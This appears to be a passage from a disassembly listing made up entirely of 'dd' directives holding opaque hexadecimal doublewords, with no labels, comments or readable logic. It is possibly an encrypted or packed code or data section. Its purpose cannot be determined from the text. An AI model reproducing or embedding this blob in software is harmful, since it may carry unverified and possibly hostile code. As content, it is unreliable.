508712E2h, 36A8E8B8h, 8C21D10Bh dd 687AC80Ch, 0C201804Ah, 27B628EEh, 0D3488927h, 401C42Bh dd 33F0A7E9h, 72D04C21h, 8933045Eh, 0A040FC34h, 0C5D72BE9h dd 800A0D20h, 5405567h, 12092490h, 84C70180h, 0B7B04A57h dd 0C49E915Ch, 0F7B391E4h, 0FFC760D7h, 0E7814702h, 0E3E8202Eh dd 762EEE1Dh, 0FA0127C0h, 0F083BB14h, 0F5279CF4h, 3905EF40h dd 1DB05943h, 0AF533FEEh, 6B546760h, 0C36E223Ch, 0D613A86Ch dd 46AA0EF5h, 9371260h, 0BB4AE9EFh, 12D00585h, 0B7103168h dd 64204A4Eh, 78564C59h, 0E80F5B05h, 0E71CAB71h, 8007EBCBh dd 95092B80h, 812CB20h, 0F416AE72h, 34EDDF0Ah, 0DE53725Ch dd 5EC5FB11h, 5C045E8Eh, 8166D020h, 292B3649h, 6EA0782h dd 0DCC95EF6h, 0CEF58B1Bh, 0BFA4E159h, 0CD617B0Ch, 9A4D98C7h dd 506816F5h, 0F5B6CD65h, 4F757E10h, 0B7048D8Bh, 0BFDFF647h dd 6841D167h, 0D02B6D08h, 0E92FB596h, 5105225Fh, 1D83D8F7h dd 24B89DCFh, 69DA01B2h, 3F3C8600h, 81EDD113h, 86F664E5h dd 0EEE4816Dh, 7CCD6142h, 0E4F24B7Eh, 508E5E0Fh, 0BB010136h dd 2F16821Dh, 0F5A06B16h, 5D0BA1C6h, 0E9A05978h, 0A4B5BF67h dd 48FCF8CEh, 20024E79h, 0F312D6FCh, 490C2B61h, 9320C726h dd 87ED0FDh, 16623D50h, 167DF5Dh, 0A51BB531h, 0B2123066h dd 370B4F13h, 0A1EFEAB0h, 142E5E08h, 0FB7E896Ah, 0B4D8A7FDh dd 0FD291CC3h, 0D551655Fh, 14D4E986h, 0C6EEF194h, 0C0689DD9h dd 0FEB8EFB1h, 0F75DA87Ah, 0D5CD4B7Fh, 47680D89h, 0B88945Ah dd 0EC99BAE9h, 0AF97ED09h, 0D31B6654h, 0BBBD0116h, 0B93D4903h dd 980BA4BFh, 0E1025DA4h, 0E201B764h, 237C4178h, 0F14F6366h dd 457BC2CEh, 1BBA5280h, 0B0499F64h, 0F65FA1CBh, 0FD945B59h dd 0AD162766h, 77BBEDD1h, 5D5D7932h, 521BDEF5h, 0BB02D484h dd 73F0DE35h, 0D6782CE9h, 6856B044h, 4B94400Bh, 696FE941h dd 0D2DD119Dh, 41EAC3B4h, 37D057EAh, 0D0273F99h, 593C42DBh dd 0C4B6098Eh, 244D8968h, 21FA3B80h, 633D60h, 386482BDh dd 59FB4542h, 0B924597Ch, 2740E2Ah, 37BDCB7Eh, 0D10AFCFBh dd 5460AF7Dh, 0B5EFF3E9h dd 80313214h, 0A0E117B5h, 0F62D39C0h, 68FEA8A6h, 4F6458F9h dd 0DC2151CFh, 73536F41h, 1AE0844Dh, 0EB8DA012h, 89C32C3Ch dd 9DF299Dh, 0F68DC29Bh, 848BCF96h, 405DE1C0h, 68713095h dd 0DB763E5Bh, 3E9D9E3h, 0F2012D1Dh, 20AD4DDDh, 0B240F538h dd 0E956F675h, 26A0FE54h, 14741A8h, 4C7F283h, 0FC9640BEh dd 5F270315h, 780B990h, 334EE95Bh, 4166F307h, 0EEC1E22Fh dd 19335DBBh, 43DE93F7h, 0EDD829C1h, 0E12DF55Bh, 1089406h dd 0A80B13E4h, 3B04A3A3h, 0F91CE24Eh, 55670121h, 542964F3h dd 6C2910BEh, 40EF200Ch, 0A4BE2941h, 0DA5FB203h, 0EEF60110h dd 0E9300C35h, 6362254Ch, 292D7A3Fh, 51AD2B28h, 57DE1FBCh dd 680F420Ah, 15466AB6h, 0E4ACB55Bh, 0E8287F0Ah, 6BA25BF2h dd 7A3AEDD4h, 9A319F4Ah, 38E960B6h, 3B66F0C0h, 2814B753h dd 715C8CF8h, 50520077h, 0E8C058B0h, 42B8FE03h, 0C8167674h dd 414951E9h, 0CBA15166h, 0E958DD5Eh, 0D4D25415h, 3DE23A68h dd 0B2D3135Bh, 0ED8382FAh, 6BB25702h, 15206ADAh, 6BB80463h dd 0C21C5E68h, 0A880D90Bh, 0CFE2E90Ch, 6834A1B7h, 383B104Fh dd 0E917D364h, 46233A9Fh, 0F3BDB0F5h, 0CC5AFA29h, 682F8821h dd 9872D625h, 166A28D8h, 0A8094725h, 0E0569221h, 68F164F9h dd 4FD4D2D0h, 48A5C160h, 1323BA88h, 0F55FF821h, 3FEBD1B1h dd 1659C6DCh, 0BDDA96E9h, 889723FCh, 792DA14Dh, 138AACB0h dd 0D32FA954h, 196C7200h, 49E9180Ch, 0F64E8030h, 0B18843Ch dd 47B85003h, 6A5BBF99h, 0D95AD509h, 0AAE98B92h, 1C5D7D42h dd 0C0772026h, 32786473h, 73A53E2Ah, 0D38304B5h, 5A0E521h dd 8389308Ch, 7BF814EAh, 93F15E5Ah, 9608E1C8h, 95CDC470h dd 350DBEB7h, 0EFD4AF2h, 0E92C7E20h, 6897907Bh, 35CD508Ch dd 21608F6Ah, 0CA267FEh, 2EFEAA57h, 20E616B8h, 1C0A42AEh dd 7112614Ah, 0B8062405h, 8D3FA429h, 61B8AD5Dh, 397B5F72h dd 458D3464h, 4AB3324Bh, 6A0B441h, 2F6770DBh, 0B4706298h dd 0A9B8C5D2h, 4C19A3F4h, 241C2069h, 16A7C601h, 0C51A913Dh dd 8F420313h, 119292D5h, 40CDEA4Dh, 3F043B62h, 6990349Dh dd 845E2D0Ch, 6A906E67h, 941BED68h, 6E50590Ah, 195837C0h dd 0D5F73037h, 2A85E904h, 0E7039691h, 0DB71615Eh, 541712CBh dd 0FD85DD58h, 2391652Dh, 0D0807B0Eh, 6818C99Fh, 0E1A0615Ch dd 92A37225h, 2A3B5788h, 1A020C2Fh, 0D32B05B3h, 0C6A490E4h dd 30CE0159h, 2451273Fh, 80BC55Bh, 0B5D714E2h, 0E919C466h dd 5922C3E7h, 21813D7Fh, 19DE0BB6h, 0F2EC84B6h, 9DCD6181h dd 304E2756h, 710B0D79h, 8C21404Fh, 2CE1E84h, 0E9389851h dd 2273506Dh, 0A0BC163Dh, 10B6C120h, 811A0003h, 0FBCB30EAh dd 0DC4AE947h, 5E5F190Bh, 0A2F9534Fh, 689A4B0h, 2211D803h dd 460F053Bh, 901BC63Ah, 1F5F31D5h, 0E016A36h, 410A8B22h dd 536A17BAh, 4160FCA0h, 64806129h, 0FD77013Fh, 12FE4A2Fh dd 62B08494h, 3A2277E1h, 7E10AA48h, 101ED26Dh, 0A3FAF8Ah dd 0BFB2E984h, 0A3E267AFh, 142FAA25h, 86C09121h, 0A65B6A3Ch dd 90CE4B90h, 0F883E91Eh, 20159D70h, 3B07E904h, 884A5914h dd 27997FFBh, 2B0FC101h, 75ED5197h, 3E708C28h, 0CA4B2CF8h dd 0EB800BC0h, 876DB3Eh, 5F131007h, 36A27804h, 3D0ECB91h dd 542C0B33h, 0F5B901F3h, 4062B250h, 494790CBh, 0D93F01FAh dd 11E125E9h, 497BB6CBh, 774E2E3h, 0E9A95469h, 8493980h dd 0E92A17E3h, 71908DD5h, 82949E5Fh, 2B77C9C7h, 5C1624B2h dd 5972609Bh, 62B57568h, 0E8E64429h, 91030B2Ah, 57D089C9h dd 6445A627h, 0EFF013B8h, 0F33984F7h, 78E90DE5h, 9D219D3Eh dd 0A2601828h, 71037DB0h, 7BBC689Dh, 0B36B04C4h, 0A43D4BE9h dd 454B1A40h, 812FA98Dh, 7E7B8FEEh, 0E7F47031h, 5F362500h dd 35674E01h, 55EE34C2h, 0C4C1F2FCh, 80E5D11Eh, 7C62EAD1h dd 0A2B0445Bh, 13F704A6h, 805DEE21h, 0B401CA36h, 0E2E0725Bh dd 6D4004CCh, 0A2F41BE9h, 1DE64892h, 0FC077D3h, 740DA9BDh dd 0FD31273Eh, 0ED22B196h, 447EC101h, 0A0516045h, 7417FF8Eh dd 0BD006B3Bh, 90398FF1h, 0CD2916BEh, 0E9DAF059h, 6E026325h dd 0EE833B45h, 548E307Eh, 47FFF61Dh, 0A4797F3Dh, 5280669Dh dd 455B2D68h, 425A2601h, 0FA30135h, 6AD11C46h, 0D1505B82h dd 3CD4244Bh, 0F7005749h, 98DB35D8h, 9503C1Bh, 0EB1F81DFh dd 3E927E47h, 0A70A5145h, 50003516h, 815A75DDh, 38D701CAh dd 0EAC111AAh, 31F2E402h, 1D7FCF17h, 6812058Eh, 4FCCB3A5h dd 0C729D721h, 2EC0EAADh, 233014BFh, 0E0CFCE17h, 0C2D8786Bh dd 7A3F1A0Ch, 0FAF382F7h, 6064E27Fh, 4F17E9CDh, 6666A340h dd 0D615D3E8h, 7E90FC9Ah, 5A5E317Bh, 0D676B64Bh, 9A89C95Fh dd 0CE5E4691h, 724E7C09h, 0E9593057h, 2251623Bh, 0B0DDE0D3h dd 47948F0h, 28E907AEh, 0B5C9ADE2h, 5E50A89Ch, 0D0B07310h dd 3E3D1CE1h, 0EB87C534h, 0FEB822B4h, 0B9026275h, 327DD829h dd 25948634h, 0F788273Ch, 7BF64342h, 25B77DEFh, 2D9BDD53h dd 0AEDAD220h, 8213D469h, 0F3E1AA0Fh, 8CE94168h, 8059003Ch dd 5DA879C3h, 0FE79C73Dh, 0BF93B28Eh, 11387780h, 0FAF8D387h dd 6609A592h, 0EA2E6A68h, 0BE567460h, 8F8A5132h, 50816821h dd 0D826E666h, 5568C7D5h, 0EE10201Ch, 5A3BF588h, 0F68D0B52h dd 0C56885DEh, 297A8529h, 0BAF615D9h, 0D747A838h, 0DF05FD91h dd 25627D48h, 9785FDF8h, 6CE9E0A8h, 84FCCB14h, 8705192Dh dd 8F1B83D9h, 7F0E99C9h, 3152DC0h, 6BE92763h, 6DE6A869h dd 5560A582h, 9C8BF0Fh, 60FA6856h, 0E942B2F9h, 58207F44h dd 0A41FC8F5h, 0EAB0774Bh, 5FD34A2Fh, 0A0C5C053h, 310F72BDh dd 0E95DEF05h, 0B3A21F82h, 8EF5026h, 6C2F42A0h, 970F98F9h dd 66288AC4h, 50959EDBh, 6CF71EB3h, 265A630h, 6B5040A9h dd 4AF0E140h, 149B101h, 0C791E9D5h, 1196A622h, 24747853h dd 0B1A2EBE9h, 29527C9Eh, 80C0C908h, 80DAF65Dh, 33DE73C2h dd 2C0616E2h, 0E9C81206h, 0C0C3361Eh, 0A1DB0D9Eh, 0CAB421F3h dd 0CB21A6A0h, 0BF74693Eh, 0B5799E03h, 58E9B026h, 0C628D65Ch dd 36E067Bh, 8F0AE4C2h, 87E378C3h, 5F76DDD2h, 0EE7E11A0h dd 0E8925D5Ah, 9A95E94Fh, 627AB1Ch, 7FF46649h, 9A032587h dd 4D6A38Bh, 0E53C5552h, 0C597EF7Fh, 0D84427BCh, 0F7196A62h dd 208FC0DDh, 3D13262Dh, 778002CCh, 6F5078A1h, 81204C48h dd 3DCA05F3h, 0CDD9007Bh, 61C43316h, 34012890h, 0E9190F28h dd 73B54423h, 1B1401E2h, 3F7E1C25h, 0D968E702h, 802F792Fh dd 0A70FA2F8h, 9B7E5E9h, 2534DE4Dh, 795E2D62h, 4BC39F54h dd 99327A2Fh, 9D3C25D9h, 929DB34Eh, 4913ACF0h, 505085Bh dd 0FFEF4C01h, 6ECBB017h, 1682F64Fh, 212C5BDFh, 0C04671E9h dd 3DAFEAADh, 0CD43E1Ch, 0CB0538BAh, 0FFD166F0h, 0F3CE253Eh dd 517C324Eh, 2B9A6158h, 0B5EB5748h, 9DEB12Ch, 51B71A16h dd 307E5EDh, 0F55B73C8h, 590700F3h, 487BA6BFh, 0B429C634h dd 93313BAh, 6900579Ah, 1A655393h, 0DEC82D07h, 0C68DA012h dd 0C58001FAh, 0ABD1208Bh, 0A426D94h, 568209A8h, 0F409CF16h dd 504CBA0Bh, 684C04D3h, 6DCCAAB3h, 3C5D4A54h, 0E916C587h dd 6AE8BDABh, 33BEEDC0h, 14E6355h, 803C0B1h, 0E9750C59h dd 5F34B97Bh, 0DB4DBA5h, 86F49EFCh, 45B5FC2Ch, 0E35208FAh dd 20DE722Dh, 6894196Bh dd 787289CFh, 0F5AD80A0h, 0EEA29F5Eh, 7EC9487Ch, 2D236F58h dd 2203C5Bh, 12D5BD9Ah, 70550587h, 7CFE7234h, 648C998h dd 30A62B2h, 0E9D2404Dh, 0A2DA5A37h, 22FD7868h, 39EB0006h dd 88486E35h, 4F1BFA03h, 25858E3Ch, 8C7CB15Ch, 0B6544024h dd 0BCFC5285h, 6590107Ah, 2B91D4FFh, 0BE5C2924h, 80C31F24h dd 0A9309368h, 4113593Ah, 3401D1F7h, 0A1E15CDh, 0C041CB46h dd 0A04DEFC2h, 2102CCACh, 6FE95FF9h, 8CA3E532h, 0E675FA15h dd 9D0A949Dh, 57489ACEh, 0E5721950h, 342EC135h, 0A65BC0B8h dd 3709A5C9h, 0C4416268h, 0E95A127Bh, 2D87B033h, 0A51ADF07h dd 22403507h, 4C018D9Dh, 5E1EC7h, 5D0F79Fh, 0CF0002A0h dd 0F9CE2D5Ah, 50316F8Dh, 0B5D2FEC1h, 69BF5ACCh, 2FCBCD02h dd 9182A4D9h, 0FB61F929h, 4DC7B57h, 0A6EA4A31h, 73B900D3h dd 81414852h, 3D9203F1h, 0D9F7204Ah, 0F094BAD9h, 73B00D73h dd 84EF793Eh, 0EAD6E92Ah, 4EF1D690h, 0A4681951h, 3B2B8516h dd 55B29C16h, 0D01B0D4Bh, 0EAA42A16h, 3B0B1FFBh, 576B47Ch dd 0FB4F8907h, 3A922921h, 0FB60BA02h, 811D0FD3h, 61C9DCE2h dd 39895E28h, 6EA93h, 0CD339D40h, 0A00B351Eh, 0F6089E61h dd 0FD25010Eh, 3039D61Ah, 0F190E64Dh, 0A9C23128h, 0BDEC152Ah dd 0C81FAB9Ah, 933ED9BDh, 1F34E28Dh, 8DDFF0Ah, 3A84042h dd 0E95F888h, 0CBCF53D0h, 595BDC02h, 0FE416A57h, 0EEE95974h dd 68012754h, 70C2396h, 0B8CBB730h, 5CD7263Ch, 17BB02BDh dd 80C83988h, 0E927C321h, 0F66B629Eh, 70646F35h, 0E83ED3Fh dd 0B4D945A2h, 0AC9510BAh, 0BA406E4Ch, 1F0F0FBEh, 0B0C510B6h dd 0C42CA897h, 5E0542DEh, 9833815Ah, 117C42Bh, 0E955C205h dd 0D8EDF8D3h, 39416107h, 0ACA6046h, 5560F372h, 406DCE0Ch dd 0D324C136h, 40503D65h, 0B706E5D9h, 0C270F0B0h, 0DE79FE02h dd 0F14309E9h, 0FF6689CDh, 95AB2968h, 5AC76FC1h, 40CAF62Fh dd 2D4ABBEFh, 0BC88A7D5h, 16C200FBh, 71E90FDFh, 0B9007696h dd 0E6A08CD0h, 54CB7C31h, 0FB8BC97h, 55394D61h, 3FE17792h dd 665C010Bh, 6D8E0BBFh, 5F5B8269h, 986D118h, 145DF711h dd 0B43CF851h, 0D79A2DCEh, 3D475BF4h, 5DB7B48Bh, 0A1DD4B5Bh dd 68841F4Ah, 0D7F31814h, 1892F07Ch, 70835766h, 7830E9FFh dd 0F0ED495Ah, 1DD10423h, 905DEB89h, 6E0C122h, 775E92Eh dd 660230A5h, 44B34E0Fh, 0E9402074h, 7F351E99h, 160E2D53h dd 726B64C8h, 0E1D900FEh, 3694196Dh, 679C176h, 0A460C93Bh dd 0F1010FCDh, 4DBE6FE2h, 67E2826Bh, 6A0255CAh, 0E8C67E78h dd 0F1ADE912h, 89ECBFCh, 0D1134757h, 8B7A20BCh, 2D3BCDE9h dd 74610019h, 0EEC12EEFh, 156B007h, 62BA324Dh, 6BD7E94Eh dd 170B3712h, 0A50EFC06h, 76245258h, 0C20151B7h, 0EE421763h dd 5507346Ch, 41E66856h, 985E7B14h, 206035Ah, 3CABEC81h dd 0C6DBD8A2h, 0A30C12ACh, 7E79E812h, 6F68130Fh, 418CB928h dd 1F9F0408h, 0E9CE8214h, 2F7F0741h, 0DB179E79h, 1CF70DE4h dd 8B65055Eh, 0B5854D10h, 5F07012Dh, 7602C083h, 0E5575890h dd 0D03575FBh, 52D18871h, 0BD3C9DBBh, 0BAB6DEC8h, 8774097Ah dd 7B525A01h, 2B4AE7B0h, 0A2B66E81h, 0BE4AEFDCh, 519D885Fh dd 0AF58001h, 0D870D5F6h, 0E80E8A2Eh, 0C22030E5h, 2BF7FA41h dd 42D0F4A7h, 210393B2h, 0D45012D5h, 0B5A5F8F9h, 6D688020h dd 0E91A17A9h, 98B79135h, 891BC8EBh, 822F39B6h, 5DE81853h dd 8B634E12h, 0C4BF10D6h, 0D323A131h, 0E4CD877Eh, 590DF0BCh dd 5450F494h, 7B5AE9h, 2D34BE7Dh, 0C1B721FCh, 60CC0661h dd 0EBE30481h, 0C144886Bh, 0C90B6CE9h, 82D02A64h, 4C19292Fh dd 2503F114h, 219E5E09h, 3246AA60h, 0F9280776h, 0D3D69130h dd 619683DBh, 0EBAE3E87h, 0EDBACB6h, 0C0F328CEh, 0CAB0505Ah dd 435D27E9h, 0EBEF9E71h, 0FADCE3A9h, 0B52D114h, 0CFD619F0h dd 0E84401C2h, 893B0CC2h, 4258C465h, 7E0A2DE4h, 0B43114F6h dd 0D0D5F2B3h, 0C1436292h, 0E025ABD8h, 36E16075h, 0F6F04E81h dd 785C1FF0h, 0AF93120Dh, 6AC72A22h, 649EF49Fh, 2DD4AB68h dd 0EBA407FCh, 40317917h, 5FC0BF57h, 823F48E0h, 0A17D00Eh dd 2F02A157h, 0C95B35C0h, 5B65B00Fh, 0FE9D0F61h, 1BC18023h dd 8E64C79Ch, 0C26310D9h, 6812CF41h, 0AFAD2446h, 0C7F014AEh dd 0EFE5BF58h, 874BD497h, 8FC6562Dh, 2E85F001h, 4DEB9D1h dd 42FB5A2Ch, 0E83E12BFh, 505CC618h, 6CE927EBh, 5866E203h dd 1C53BC26h, 0D7886207h, 0F0A18BF5h, 588B3639h, 0B69C3B66h dd 0E9B0336Fh, 0D95E4FF0h, 0F5CF7C71h, 1BC9BFE2h, 595B0F50h dd 0A229F2CCh, 0D4810987h, 94FFE4B1h, 0FDD90950h, 4F408000h dd 0C104DFF7h, 46E908E7h, 3C80D8A0h, 6F2E9DEAh, 0E250936Eh dd 326A4AECh, 0E8CA3912h, 55BDC4F7h, 9C715C09h, 43A4D4A5h dd 2E4E916Bh, 0DD25ADCAh, 0BF4138FBh, 27F52C78h, 1237CEA6h dd 54800D7h, 1D44B1Eh, 31E9F916h, 0FC2A6A4h, 376520B4h dd 0A81CEAAFh, 0C85D4B08h, 1E5BFF58h, 10C1F98Dh, 0EEA48D2Fh dd 0AC530174h, 0E19882A9h, 0C39EFCE9h, 42CC5B25h, 5907F83Dh dd 60C05E63h, 6BAE44ABh, 889D4D68h, 0FC220701h, 272CE918h dd 8090CD43h, 1FCBF029h, 10647E52h, 195D3BA9h, 0F57D4D13h dd 2FF7A52Bh, 0B845098Ch, 4F5F0162h, 65E9F38Ch, 95B2482Fh dd 2B14A7E0h, 931AFA29h, 60B8E0F0h, 85BB6696h, 0EE1F106Bh dd 5109D929h, 0E9E0D63Bh, 980C618Ah, 685EAE58h, 1D1FC631h dd 0D03A4289h, 880A63D9h, 479175Ch, 2CCE094Ah, 69118EEh dd 0DCFB4106h, 6B95121Dh, 5679F237h, 5E5C1364h, 8D4055C4h dd 0A7C5826h, 65EC4578h, 0C058ACBDh, 60796226h, 0C7559401h dd 0A91F85E9h, 18F292A5h, 7728AE92h, 51669D5Ch, 12A75848h dd 0B54739AFh, 7D0EEDEEh, 0D06CC65Dh, 66013511h, 0B70FC331h dd 6A52F1C0h, 5BDD97D1h, 4B01A62Ah, 4DE9BEDCh, 6C4CA08Ch dd 0CF063C0Eh, 0BAF280B3h, 0B3F86C22h, 0E7639Dh, 2E29F638h dd 61BD5507h, 0F1B24C16h, 0E9091CB8h, 8D7C9326h, 5098296Fh dd 5F54320Ah, 8FDDA032h, 0CD71A484h, 0F8F875FAh, 34E24F03h dd 7C185925h, 890F6664h, 9870E902h, 0B75BF3Ch, 97B6F2Bh dd 100F210Bh, 107F6727h, 0BFE9F129h, 8B7D405Ch, 0FE1A40EEh dd 0EC04D2CAh, 0EDC00762h, 0A8368008h, 2E9B7006h, 12BF59EAh dd 45000B5Ah, 0D12FD25Eh, 2B994D5Ah, 0EA8AF785h, 192AAC94h dd 9720F01Eh, 9CD0E02Bh, 47CEEB1Fh, 691E6D17h, 8EB42181h dd 19E12D13h, 482940D4h, 84173D8h, 9E58B068h, 51136513h dd 6614F6A4h, 3A1680F7h, 4489CDBDh, 7049AFF1h, 1220503Eh dd 0AC8832B6h, 0C8853AB4h, 0EE1313CFh, 0C3254BF2h, 0BAFDDF62h dd 31B0D7F8h, 6CBD8EA5h, 139C65A7h, 0AF8B825Eh, 0E227540Bh dd 0B3649D07h, 591BD918h, 5A5AD568h, 2406A689h, 0E4280F21h dd 25EF0B5Ch, 89AF7946h, 2D742540h, 2193C0C8h, 0D996E604h dd 5F1E290Ch, 0FE0F7690h, 0E9F42E90h, 0B58120F8h, 0C0DDF6E4h dd 6E5C004h, 9348C580h, 6D6320Ch, 55516178h, 0BF5CCC6Fh dd 4A0CDF16h, 3858DC41h, 0A897229Ah, 0B02C1303h, 2D286606h dd 269EC5E0h, 65F0BA13h, 4A869058h, 0C0D6AC48h, 75685155h dd 5A892C41h, 64F75BA3h, 97B4F879h, 7159FFA0h, 7C709849h dd 75F83F70h, 55A7CDBDh, 0A7E3D29h, 4E5C106h, 68B3B00Ah dd 0ADE37DF4h, 16C6F004h dd 66052A1Eh, 7FC02ACAh, 25ED2F57h, 8E2016Eh, 51C080Dh dd 8351F914h, 4A999AE9h, 250AF64Ch, 46DD0928h, 0B169F6Eh dd 0CB92EA42h, 929648CEh, 0EEB22CBCh, 0B96D27CAh, 186027A8h dd 2198C671h, 0E54151C2h, 0F130203Fh, 77B4CE87h, 2AC33E8Bh dd 0FCCB8090h, 145D7A5Fh, 7C06842Dh, 0C03153E9h, 4E8C117h dd 0ABBE0EAFh, 0E5825527h, 0F7850949h, 0E3C4B4C0h, 0D84B81FAh dd 282D038Ah, 8FB91B00h, 7B7A6B01h, 8114DD31h, 17C492F5h dd 8DD99D2h, 5A13DE10h, 0E8288244h, 0D1C85E82h, 0A29D89A6h dd 6B026ED9h, 7402F13Dh, 0F7DB52B9h, 0E8418703h, 6DC2750h dd 1300ABFBh, 213C7076h, 3B009DD8h, 3DD9387Eh, 0B2604E90h dd 9DF68181h, 5251091Bh, 0F48F501h, 10831105h, 48C9992Ch dd 8C5DC6B8h, 2948B712h, 88802661h, 26639BE2h, 9CC01E06h dd 739E405h, 33B9F280h, 0AA84F8C2h, 6048BDC8h, 60F28FF0h dd 0B76AA19h, 755CCA1Eh, 5E010192h, 3CB74273h, 9983F300h dd 0D7292D00h, 5BE94F5Ah, 0EB20B431h, 0EC634B0Bh, 6D82D0F2h dd 0A97A1802h, 5B55FEEh, 22C04D13h, 768F56F5h, 0E8CD0D0Eh dd 207C935Ch, 0BF17DC51h, 1D998977h, 7E01F44h, 18610F68h dd 32441DB9h, 5F9DA2FDh, 0B19F22A3h, 29BCB9FBh, 4E561109h dd 5F74C225h, 0C54AAABDh, 2E546EA0h, 0F8733E2Ch, 48C45E1Ch dd 15A14D21h, 0A51BF889h, 517B074h, 0E021A5F5h, 0CA5E2438h dd 0F656250Ch, 0D6896161h, 8B9A605Ah, 12B2345Fh, 63F9A712h dd 9302EA99h, 3A1BCF05h, 1085D42h, 1D0B3E07h, 0A77C0B19h dd 742C9F01h, 7B354E78h, 9033BFFCh, 5A570B3Ch, 0CC09E78Fh dd 68854571h, 18B263E8h, 0AC4DE909h, 6BBD6A72h, 0AD3BDB40h dd 1AAE8D20h, 582B607Eh, 0EA1C523h, 2D0322B4h, 5CB680Bh dd 990D11B0h, 727A14Bh, 0B11CA07h, 7AC21FE9h, 96AF9C75h dd 0E9E91E4Ch, 0D7F301CAh, 70145D01h, 4E00AE33h, 0CB877EE0h dd 974125E9h, 0C6177F4Bh, 56B332FCh, 0F848D88Bh, 75A0C93Eh dd 61061422h, 6EBC15Eh, 3DC60260h, 95E9E4BEh, 0BFBFCC5Eh dd 3813899Fh, 4D0C55Fh, 0B36D9768h, 2637049Eh, 2BF26CAEh dd 3A032394h, 8312037Ah, 85F085B4h, 8176FDE1h, 0E26D7068h dd 0E5EBB02Fh, 96051816h, 25F6B605h, 82087027h, 0DF87FB29h dd 2908BE41h, 0C46BB7DDh, 5868121Eh, 530B3348h, 0F10901C8h dd 10971352h, 5A27BD1Eh, 0CA842654h, 1AFAD22h, 0EDB2EA13h dd 3F916FDFh, 4B3E06B5h, 0DFE1CBAEh, 0B33BF82Dh, 0AD376D7Ah dd 0EDF214F2h, 83AFD689h, 7CE05DA2h, 77D10C06h, 9B63519h dd 15550678h, 3F3E1680h, 0E9164D95h, 1A29DCEFh, 68AF2C7Fh dd 6ACCAF5Eh, 309113B9h, 0E17C078Bh, 1C216259h, 772C417Eh dd 0F6AB0625h, 0E59C79F8h, 0F8E35143h, 0F63B9852h, 0CDEB4AB4h dd 2738D36Ch, 0CA62DE59h, 5490C250h, 88D02F59h, 5275A9BFh dd 995F4D3Fh, 4AF95A28h, 86CBA645h, 0F62137E9h, 533B03E7h dd 0DFF72B24h, 5227FA1Eh, 96E12212h, 0C160D62h, 192A66A5h dd 853266E8h, 202BE2C8h, 0C2FEC7B2h, 219824B0h, 0EAE61BE6h dd 3E5ABA40h, 0F90BCA2Ch, 6A2BEBE9h, 30CB84DCh, 9F73CAEEh dd 4A841132h, 0EC93A5B4h, 2A7BE366h, 179B3530h, 2DBCF9EAh dd 0C9E13BECh, 6D1D2502h, 0A5ED027Dh, 52047526h, 16086E01h dd 238D5BC3h, 60210C0Ch, 0B0EAD254h, 42C46EAEh, 0C380F303h dd 0A811A5BFh, 0B2B45877h, 0D4AEAB19h, 86A2A715h, 0EC09D8ACh dd 5D567D5Dh, 11451C1h, 4305EDFEh, 1F5FB463h, 4713CAC9h dd 87FAA582h, 7D2E2309h, 60AE6259h, 5EE97181h, 605D1315h dd 3BB635E8h, 0E95EDE09h, 768D72A8h, 0FE3130C1h, 0D159CFE0h dd 1DAAC5C1h, 0E9D938F5h, 49755232h, 0BE1DEB47h, 7DB549D6h dd 6829E080h, 13B207BFh, 51536117h, 25ADEE41h, 1A6CA432h dd 0BA2B410h, 0D14F0958h, 31E52548h, 0FB9BE961h, 0A44A8C6Fh dd 4C8F0B4Ah, 0A84E4E59h, 0F4FDF4A3h, 0EBF69884h, 2F25EC43h dd 0A4AAD357h, 4A6255B9h, 96D55450h, 0F84CB5A1h, 93036D35h dd 5DBD6D81h, 0F84102C1h, 0C87EF23Ch, 149F56DBh, 41949898h dd 78F72C94h, 51C884Dh, 0EED14E5Bh, 7CD48F80h, 30477F0Fh dd 882EB7D9h, 469758E3h, 60681244h, 3A64BB50h, 426929AFh dd 0DE09AE5Bh, 6F0C6DF8h, 530B52CBh, 2A6077E9h, 0A1EA2BEh dd 92890D2Dh, 0F48DA48h, 6AD92921h, 9629306Bh, 11AD2B77h dd 241BDFh, 10E825C1h, 3D0AD4DCh, 8A55677h, 410B18D9h dd 0C50EFE2Eh, 3C67BD3Fh, 81A04F7h, 0C2F4314Eh, 0A6CF2D4h dd 38C4E9A9h, 4FF64B1Dh, 137FED51h, 4B2CAB1Eh, 64552F68h dd 4EA59FD1h, 0EEB0B57Bh, 50605AD3h, 0F169B414h, 0C8E9256Bh dd 99588B05h, 0B5E7F08Dh, 41493094h, 172F3456h, 0E8060314h dd 0C58CD493h, 0BD54EF5Fh, 0C9F45E62h, 0AF0D229h, 0AF902516h dd 10975E5h, 92A803CFh, 6641D20Eh, 0FCA39A3Ch, 595312C9h dd 0C1DA04A8h, 11EC02Fh, 0D397CF29h, 0D4D04E34h, 2D224941h dd 68D2985Dh, 8C084F2Ch, 644CBB6Bh, 0AFF14F2Dh, 5B9B4260h dd 3CADCC38h, 0B35FFA40h, 0E95240BDh, 0CE95DE33h, 104DBF8Bh dd 45B25200h, 96E3B551h, 15CB0BDBh, 52FC252Bh, 317B216Bh dd 4FE05FFBh, 48C29295h, 280429CAh, 0FC35BE60h, 0D2FA0493h dd 2BF93F8h, 478668E6h, 48FC33D7h, 0EEE4629Ch, 4E145C84h dd 2A4789F9h, 805ACFE2h, 6A36AA42h, 0E05B4E37h, 2F4EE3FEh dd 0C6C974ACh, 0C575DEE2h, 7B144D7Dh, 0D8425FCAh, 0A97D3E16h dd 0BE56804Ah, 18A1DB1h, 1CEE8122h, 8F423F17h, 2905790Ch dd 6D478075h, 0C31DF837h, 0AB1BC00Ch, 4FBC183h, 0E2D72A01h dd 0F1010770h, 0E9D05122h, 0E6A7CE17h, 457A50CDh, 14E00213h dd 790AD301h, 0A8216C56h, 0AC46133Fh, 0FD87F287h, 0F068C918h dd 440E2512h, 0F96B3F1h, 49C9E043h, 0A2419A41h, 0FF962A0Ch dd 681B63D5h, 0BE51649Ah, 0EC5E2E82h, 0B8D584Fh, 782B5FF4h dd 890089F6h, 4AE9206Fh, 89C9D416h, 0BC1DE304h, 0EA1F8751h dd 1DC2607h, 5A48DEC9h, 2FB06460h, 5005281Fh, 1D8296FBh dd 7A48B240h, 2583138Ch, 0F95C01C6h, 15F00292h, 2AB3A046h dd 0E2637F9Ch, 33718AF0h, 0DA3AD6A5h, 2DD598FDh, 936619BDh dd 4605485Ah, 0E9255307h, 397C4481h, 46AC2C28h, 0C8018566h dd 0AC0A1205h, 9352B116h, 4E12A22Ah, 93B4F3B8h, 93A4144Eh dd 6809FBBEh, 5F9F7274h, 0B7EF000h, 297E1440h, 888BAB0h dd 5F4E59CBh, 193BFECh, 6D69DC45h, 81D3FD23h, 